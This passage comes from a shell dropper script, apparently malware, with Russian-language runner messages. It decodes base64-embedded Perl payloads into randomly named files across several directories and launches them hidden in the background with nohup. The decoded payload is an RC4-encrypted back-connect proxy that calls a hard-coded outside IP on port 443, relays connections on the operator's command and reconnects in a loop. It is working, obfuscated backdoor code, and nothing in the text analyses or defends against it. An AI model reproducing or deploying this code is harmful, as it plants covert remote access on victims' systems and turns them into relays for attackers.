ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #9 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #9 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 10 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw 